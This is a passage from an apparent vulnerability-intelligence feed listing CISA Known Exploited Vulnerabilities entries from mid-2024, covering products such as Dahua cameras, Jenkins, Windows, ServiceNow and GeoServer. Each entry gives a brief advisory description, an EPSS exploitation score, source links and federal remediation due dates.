EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33045: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33045&date=2026-10-25
CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Dahua IP Camera Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2021-33044
Dahua IP Camera Authentication Bypass Vulnerability (Aug 21, 2024).
Dahua IP cameras and related products contain an authentication bypass vulnerability when the NetKeyboard type argument is specified by the client during authentication.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33044: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33044&date=2026-10-25
CISA added this entry on 2024-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 21, 2024; federal due date Sep 11, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins Command Line Interface (CLI) Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-23897
Jenkins Command Line Interface (CLI) Path Traversal Vulnerability (Aug 19, 2024).
Jenkins Command Line Interface (CLI) contains a path traversal vulnerability that allows attackers limited read access to certain files, which can lead to code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25
CISA added this entry on 2024-08-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 19, 2024; federal due date Sep 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2024-28986
SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability (Aug 15, 2024).
SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could allow for remote code execution.
EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-28986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25
CISA added this entry on 2024-08-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 15, 2024; federal due date Sep 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-38107
Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability (Aug 13, 2024).
Microsoft Windows Power Dependency Coordinator contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to obtain SYSTEM privileges.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-38106
Microsoft Windows Kernel Privilege Escalation Vulnerability (Aug 13, 2024).
Microsoft Windows Kernel contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. Successful exploitation of this vulnerability requires an attacker to win a race condition.
EPSS 6.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38106: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-38193
Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability (Aug 13, 2024).
Microsoft Windows Ancillary Function Driver for WinSock contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.
EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38193: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2024-38213
Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Aug 13, 2024).
Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience via a malicious file.
EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38213: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2024-38178
Microsoft Windows Scripting Engine Memory Corruption Vulnerability (Aug 13, 2024).
Microsoft Windows Scripting Engine contains a memory corruption vulnerability that allows unauthenticated attacker to initiate remote code execution via a specially crafted URL.
EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38178: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Project Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2024-38189
Microsoft Project Remote Code Execution Vulnerability (Aug 13, 2024).
Microsoft Project contains an unspecified vulnerability that allows for remote code execution via a malicious file.
EPSS 8.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38189: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25
CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2024; federal due date Sep 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache OFBiz Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-32113
Apache OFBiz Path Traversal Vulnerability (Aug 7, 2024).
Apache OFBiz contains a path traversal vulnerability that could allow for remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-32113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25
CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 7, 2024; federal due date Aug 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Kernel Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2024-36971
Android Kernel Remote Code Execution Vulnerability (Aug 7, 2024).
Android contains an unspecified vulnerability in the kernel that allows for remote code execution. This vulnerability resides in Linux Kernel and could impact other products, including but not limited to Android OS.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-36971: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25
CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 7, 2024; federal due date Aug 28, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft COM for Windows Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2018-0824
Microsoft COM for Windows Deserialization of Untrusted Data Vulnerability (Aug 5, 2024).
Microsoft COM for Windows contains a deserialization of untrusted data vulnerability that allows for privilege escalation and remote code execution via a specially crafted file or script.
EPSS 73.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25
CISA added this entry on 2024-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 5, 2024; federal due date Aug 26, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2024-37085
VMware ESXi Authentication Bypass Vulnerability (Jul 30, 2024).
VMware ESXi contains an authentication bypass vulnerability. A malicious actor with sufficient Active Directory (AD) permissions can gain full access to an ESXi host that was previously configured to use AD for user management by re-creating the configured AD group ('ESXi Admins' by default) after it was deleted from AD.
EPSS 26.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-37085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25
CISA added this entry on 2024-07-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 30, 2024; federal due date Aug 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Acronis Cyber Infrastructure (ACI) Insecure Default Password Vulnerability
https://kevwire.com/record/CVE-2023-45249
Acronis Cyber Infrastructure (ACI) Insecure Default Password Vulnerability (Jul 29, 2024).
Acronis Cyber Infrastructure (ACI) allows an unauthenticated user to execute commands remotely due to the use of default passwords.
EPSS 53.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-45249: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25
CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ServiceNow Incomplete List of Disallowed Inputs Vulnerability
https://kevwire.com/record/CVE-2024-5217
ServiceNow Incomplete List of Disallowed Inputs Vulnerability (Jul 29, 2024).
ServiceNow Washington DC, Vancouver, and earlier Now Platform releases contain an incomplete list of disallowed inputs vulnerability in the GlideExpression script. An unauthenticated user could exploit this vulnerability to execute code remotely.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-5217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5217&date=2026-10-25
CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ServiceNow Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2024-4879
ServiceNow Improper Input Validation Vulnerability (Jul 29, 2024).
ServiceNow Utah, Vancouver, and Washington DC Now Platform releases contain a jelly template injection vulnerability in UI macros. An unauthenticated user could exploit this vulnerability to execute code remotely.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4879: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25
CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 29, 2024; federal due date Aug 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Twilio Authy Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2024-39891
Twilio Authy Information Disclosure Vulnerability (Jul 23, 2024).
Twilio Authy contains an information disclosure vulnerability in its API that allows an unauthenticated endpoint to accept a request containing a phone number and respond with information about whether the phone number was registered with Authy.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-39891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-39891&date=2026-10-25
CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 23, 2024; federal due date Aug 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2012-4792
Microsoft Internet Explorer Use-After-Free Vulnerability (Jul 23, 2024).
Microsoft Internet Explorer contains a use-after-free vulnerability that allows a remote attacker to execute arbitrary code via a crafted web site that triggers access to an object that (1) was not properly allocated or (2) is deleted, as demonstrated by a CDwnBindInfo object.
EPSS 78.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-4792: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4792&date=2026-10-25
CISA added this entry on 2024-07-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 23, 2024; federal due date Aug 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware vCenter Server Incorrect Default File Permissions Vulnerability
https://kevwire.com/record/CVE-2022-22948
VMware vCenter Server Incorrect Default File Permissions Vulnerability (Jul 17, 2024).
VMware vCenter Server contains an incorrect default file permissions vulnerability that allows a remote, privileged attacker to gain access to sensitive information.
EPSS 13.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22948&date=2026-10-25
CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Serv-U Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-28995
SolarWinds Serv-U Path Traversal Vulnerability (Jul 17, 2024).
SolarWinds Serv-U contains a path traversal vulnerability that allows an attacker access to read sensitive files on the host machine.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-28995: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-28995&date=2026-10-25
CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Commerce and Magento Open Source Improper Restriction of XML External Entity Reference (XXE) Vulnerability
https://kevwire.com/record/CVE-2024-34102
Adobe Commerce and Magento Open Source Improper Restriction of XML External Entity Reference (XXE) Vulnerability (Jul 17, 2024).
Adobe Commerce and Magento Open Source contain an improper restriction of XML external entity reference (XXE) vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-34102: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-34102&date=2026-10-25
CISA added this entry on 2024-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 17, 2024; federal due date Aug 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OSGeo GeoServer GeoTools Eval Injection Vulnerability
https://kevwire.com/record/CVE-2024-36401
OSGeo GeoServer GeoTools Eval Injection Vulnerability (Jul 15, 2024).
OSGeo GeoServer GeoTools contains an improper neutralization of directives in dynamically evaluated code vulnerability due to unsafely evaluating property names as XPath expressions. This allows unauthenticated attackers to conduct remote code execution via specially crafted input.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-36401: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-36401&date=2026-10-25
CISA added this entry on 2024-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 15, 2024; federal due date Aug 5, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability
https://kevwire.com/record/CVE-2024-23692
Rejetto HTTP File Server Improper Neutralization of Special Elements Used in a Template Engine Vulnerability (Jul 9, 2024).
Rejetto HTTP File Server contains an improper neutralization of special elements used in a template engine vulnerability. This allows a remote, unauthenticated attacker to execute commands on the affected system by sending a specially crafted HTTP request.
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-23692: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23692&date=2026-10-25
CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Hyper-V Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-38080
Microsoft Windows Hyper-V Privilege Escalation Vulnerability (Jul 9, 2024).
Microsoft Windows Hyper-V contains a privilege escalation vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38080: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38080&date=2026-10-25
CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-38112
Microsoft Windows MSHTML Platform Spoofing Vulnerability (Jul 9, 2024).
Microsoft Windows MSHTML Platform contains a spoofing vulnerability that has a high impact to confidentiality, integrity, and availability.
EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-38112: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38112&date=2026-10-25
